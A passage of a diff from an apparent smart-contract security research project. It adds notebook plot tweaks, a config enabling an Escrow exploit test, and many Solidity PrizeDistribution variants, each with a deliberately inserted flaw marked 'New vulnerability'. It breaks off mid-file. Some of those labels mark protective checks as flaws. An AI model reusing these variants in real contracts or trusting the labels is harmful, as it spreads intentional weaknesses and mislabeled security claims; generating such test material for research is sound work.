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OrV6/GlClTJMudSF0sp4lKUc4frdf/g169erXK13p6eujbty/27t2b74zFOce/8847uHz5Mnbt2lXgPvmd8/Tp0zh16pTaOXft2hW//fYbHj16pFwfFhaGgwcPFnl8SkpKgef6448/ABSvS0sb9PX1IZPJkJ2drVwXHh6O3377TaO4OWNlCpp5ePjw4YiPj0dAQACSkpLg5+en0fmKUpxr2b9/f+jr62PBggV5vl8FQVCZnmDHjh345ZdfsHTpUsyYMQNDhgzB7Nmzcfv2ba2+HqL8sMWGqBRZWloqb1nOzMxElSpV8Oeff+LBgwd59l28eDH+/PNPtGvXDmPGjIGHhwciIyOxfft2nDhxAtbW1pg+fTp27NiBgQMH4v3334ePjw/i4uKwZ88efP/992jYsCF69uyJ0NBQ9OvXDz169MCDBw/w/fffw9PTE0lJSWrlvWDBAhw4cABt2rTBuHHjkJWVhW+++QZeXl64cuVKocempKSgVatWaNGiBXx9fVG1alUkJCTgt99+w/Hjx9G3b180bty4RO+nVHr06IFVq1bB19cX7777LqKjo/Htt9+iVq1aRb6+wvj4+AAAPvvsMwwZMgSGhobo1auXsuBp3Lgx6tWrh+3bt8PDwwPe3t6SvJ7CqHst3d3dsWjRIsycORPh4eHo27cvLCws8ODBA+zatQtjxozBtGnTEB0djbFjx6JDhw4YP348AGDt2rU4evQo/P39ceLECXZJUaliYUOkZa+3nGzduhUTJkzAt99+C0EQ0KVLF/zxxx9wdXVVOa5KlSo4ffo05syZgy1btuDly5eoUqUKunXrBlNTUwDiOIfjx49j3rx52LVrF0JCQuDo6Ii3334bb7zxBgBxgrtnz54hMDAQBw8ehKenJzZv3ozt27cXOWldjgYNGuDgwYOYMmUK5s6dizfeeAMLFixAZGRkkX/4ra2tsX79euzbtw8bN27Es2fPoK+vj7p162L58uWYOHFicd5OrejYsSN++OEHLF26FB9//DFq1qyJZcuWITw8XKPCpmnTpvj888/x/fff48CBA1AoFHjw4IHKXU8jRozAJ598otGg4eIozrWcMWMG6tSpg6+++goLFiwAAFStWhVdunRB7969AQBjx45Fenq6cqI+ALCzs0NQUBD69OmDFStW4JNPPimV10YEADKhJKPKiEhta9aswaRJk3D37l2VW3GJAHFiwMmTJyM8PDzfu5qIqHjYPkikZWfPnlVO90+UmyAI+OGHH9CuXTsWNUQSYVcUkZbs3LkTx44dw5YtWzBq1CiVpz6TbktOTsaePXtw9OhRXL16Fbt37y7rlIgqDXZFEWlJzZo1kZiYiH79+mH16tUlnk2WKp/w8HDUrFkT1tbWGDduHL744ouyTomo0mBhQ0RERJUGx9gQERFRpcHChoiIiCoNFjZERERUabCwISIiokqDhQ0RERFVGixsiIiIqNJgYUNERESVBgsbIiIiqjRY2BAREVGl8T9tCxNmG+g9qQAAAABJRU5ErkJggg==", "text/plain": [ "
" ] @@ -2834,16 +2834,16 @@ "sns.set_context(\"talk\") # Increase font sizes\n", "\n", "# Histograms with enhancements\n", - "sns.histplot(compilable_similarities, color='blue', label='Compilable', kde=True, alpha=0.5, bins=10) # Increased number of bins for more granularity\n", - "sns.histplot(non_compilable_similarities, color='red', label='Non-Compilable', kde=True, alpha=0.5, bins=10) # Increased number of bins for more granularity\n", + "sns.histplot(compilable_similarities, color='blue', label='Compilable', kde=False, alpha=0.5, bins=10) # Increased number of bins for more granularity\n", + "sns.histplot(non_compilable_similarities, color='red', label='Non-Compilable', kde=False, alpha=0.5, bins=10) # Increased number of bins for more granularity\n", "\n", "# Add lines for means\n", "plt.axvline(mean_compilable, color='blue', linestyle='dashed', linewidth=1)\n", "plt.axvline(mean_non_compilable, color='red', linestyle='dashed', linewidth=1)\n", "\n", "# Annotations\n", - "plt.text(mean_compilable, plt.ylim()[1]*0.8, f'Mean: {mean_compilable:.2f}', color='blue', fontsize=13)\n", - "plt.text(mean_non_compilable, plt.ylim()[1]*0.7, f'Mean: {mean_non_compilable:.2f}', color='red', fontsize=13)\n", + "plt.text(mean_compilable, plt.ylim()[1]*0.9, f'Mean: {mean_compilable:.2f}', color='blue', fontsize=13)\n", + "plt.text(mean_non_compilable, plt.ylim()[1]*0.8, f'Mean: {mean_non_compilable:.2f}', color='red', fontsize=13)\n", "\n", "# Additional plot enhancements\n", "plt.xlabel('Jaccard Similarity Index', fontsize=12)\n", @@ -2860,7 +2860,7 @@ "plt.tight_layout()\n", "\n", "# Save the plot as a PDF\n", - "plt.savefig('Jaccard_Similarity_Distribution.pdf')\n", + "plt.savefig('Jaccard_Similarity_Distribution-prompt-1.pdf')\n", "\n", "# Display the plot\n", "plt.show()\n" diff --git a/config-synthesized.yml b/config-synthesized.yml index 767bed27..e84ee52a 100644 --- a/config-synthesized.yml +++ b/config-synthesized.yml @@ -26,32 +26,32 @@ contracts: # tests: # - "ProductOrderExploit" - # - name: "Escrow" - # numOfVariants: 4 - # constructorParamSpecs: - # - name: "_sender" - # type: "address" - # sourceType: "dynamic" - # source: - # type: "EOA" - # - name: "_receiver" - # type: "address" - # sourceType: "dynamic" - # source: - # type: "EOA" - # - name: "_delayUntilRelease" - # type: "uint" - # sourceType: "static" - # value: 0 - # models: - # - name: "Escrow" - # id: "1624258" - # functions: [] - # tests: - # - "EscrowExploit" + - name: "Escrow" + numOfVariants: 4 + constructorParamSpecs: + - name: "_sender" + type: "address" + sourceType: "dynamic" + source: + type: "EOA" + - name: "_receiver" + type: "address" + sourceType: "dynamic" + source: + type: "EOA" + - name: "_delayUntilRelease" + type: "uint" + sourceType: "static" + value: 0 + models: + - name: "Escrow" + id: "1624258" + functions: [] + tests: + - "EscrowExploit" # - name: "PrizeDistribution" - # numOfVariants: 25 + # numOfVariants: 1 # constructorParamSpecs: # - name: "_beneficiary" # type: "address" @@ -82,16 +82,16 @@ contracts: # tests: # if there are tests specified for this model, it will run them alongside the monitor automatically. Otherwise, only thing that will run is the monitor # - "PrizeDistributionExploit" - - name: "Governance" - numOfVariants: 1 - constructorParamSpecs: [] - models: - - name: "Governance" - id: "1822788" - functions: [] - hasResponseRelation: true - tests: - - "GovernanceExploit" + # - name: "Governance" + # numOfVariants: 1 + # constructorParamSpecs: [] + # models: + # - name: "Governance" + # id: "1822788" + # functions: [] + # hasResponseRelation: true + # tests: + # - "GovernanceExploit" tests: - name: "PrizeDistributionExploit" diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-1.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-1.sol new file mode 100644 index 00000000..dab6bc6f --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-1.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + require( + block.timestamp <= unlockTime + 5 minutes, + "Claim period has expired." + ); // New vulnerability: Time window to claim prize + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-10.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-10.sol new file mode 100644 index 00000000..5b7ca4c8 --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-10.sol @@ -0,0 +1,42 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + require(prizeAmount % 2 == 0, "Prize amount must be even."); // New vulnerability: Prize amount must be even + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-11.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-11.sol new file mode 100644 index 00000000..2b63ead6 --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-11.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + bool public isPrizeClaimed = false; // New state variable + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + require(!isPrizeClaimed, "Prize already claimed."); // Prevent further extensions if prize is claimed + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + require(!isPrizeClaimed, "Prize already claimed."); // Ensure prize can only be claimed once + isPrizeClaimed = true; + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-12.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-12.sol new file mode 100644 index 00000000..85c6a84a --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-12.sol @@ -0,0 +1,46 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + uint256 public maxPrizeAmount = 1 ether; // New vulnerability: Cap on prize amount + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + require( + prizeAmount <= maxPrizeAmount, + "Prize amount exceeds the maximum allowed." + ); // Cap on prize amount + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-13.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-13.sol new file mode 100644 index 00000000..10fbf393 --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-13.sol @@ -0,0 +1,48 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + uint256 public lastExtensionTime; // New variable to track the last extension time + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + lastExtensionTime = block.timestamp; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + require( + block.timestamp >= lastExtensionTime + 1 minutes, + "Extensions must be at least 1 minute apart." + ); // New vulnerability: Time interval between extensions + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + lastExtensionTime = block.timestamp; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-14.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-14.sol new file mode 100644 index 00000000..8454018b --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-14.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + bool public hasClaimedPrize; // New state variable + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + hasClaimedPrize = false; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + require(!hasClaimedPrize, "Prize already claimed."); // New vulnerability: Prevent double claim + hasClaimedPrize = true; // Mark the prize as claimed + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-15.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-15.sol new file mode 100644 index 00000000..6b8012fa --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-15.sol @@ -0,0 +1,46 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + require( + prizeAmount + msg.value <= address(this).balance, + "Cannot extend lock time beyond contract balance" + ); // New vulnerability: Extend lock time check + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + require(prizeAmount > 0, "Prize already claimed."); // Ensure prize can only be claimed once + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-16.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-16.sol new file mode 100644 index 00000000..d1117de1 --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-16.sol @@ -0,0 +1,48 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + uint256 public extensionCount; // New state variable + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + extensionCount = 0; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + require( + extensionCount < 5, + "Cannot extend lock time more than 5 times" + ); // New vulnerability: Limited number of extensions + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + extensionCount += 1; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-17.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-17.sol new file mode 100644 index 00000000..83e52809 --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-17.sol @@ -0,0 +1,48 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + uint256 public lastExtensionAmount; // New state variable + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + lastExtensionAmount = 0; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + require( + msg.value > lastExtensionAmount, + "Each extension must be greater than the last" + ); // New vulnerability: Increasing extension amount + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + lastExtensionAmount = msg.value; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-18.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-18.sol new file mode 100644 index 00000000..54221d3c --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-18.sol @@ -0,0 +1,46 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + uint256 public maxExtensionAmount = 1 ether; // New state variable + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + require( + msg.value <= maxExtensionAmount, + "Cannot extend lock time with more than the max amount" + ); // New vulnerability: Cap on extension amount + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function getTimestamp() public view returns (uint256) { + return block.timestamp; + } +} diff --git a/contracts/src/synthesized-full-dcr/PrizeDistribution-19.sol b/contracts/src/synthesized-full-dcr/PrizeDistribution-19.sol new file mode 100644 index 00000000..13ce9b8e --- /dev/null +++ b/contracts/src/synthesized-full-dcr/PrizeDistribution-19.sol @@ -0,0 +1,47 @@ +pragma solidity ^0.7.6; + +contract PrizeDistribution { + address public organizer; + address public beneficiary; + uint256 public unlockTime; + uint256 public prizeAmount; + uint256 constant BONUS_THRESHOLD = 10 wei; + uint256 public constant MAX_LOCK_DURATION = 1 hours; // New state variable for max lock duration + + constructor(address _beneficiary) payable { + organizer = msg.sender; + beneficiary = _beneficiary; + unlockTime = block.timestamp + 10 seconds; + prizeAmount = msg.value; + } + + function extendLockTime() public payable { + require( + msg.sender == organizer, + "Only the organizer can extend the lock time." + ); + require( + unlockTime + (1 minutes * (msg.value / BONUS_THRESHOLD)) <= + block.timestamp + MAX_LOCK_DURATION, + "Lock duration cannot exceed max limit" + ); // New vulnerability: Max lock duration + if (msg.value >= BONUS_THRESHOLD) { + unlockTime += (1 minutes * (msg.value / BONUS_THRESHOLD)); + } + prizeAmount += msg.value; + } + + function claimPrize() public { + require( + msg.sender == beneficiary, + "Only the beneficiary can claim the prize." + ); + require(block.timestamp >= unlockTime, "Prize is still locked."); + payable(beneficiary).transfer(prizeAmount); + prizeAmount = 0; + } + + function 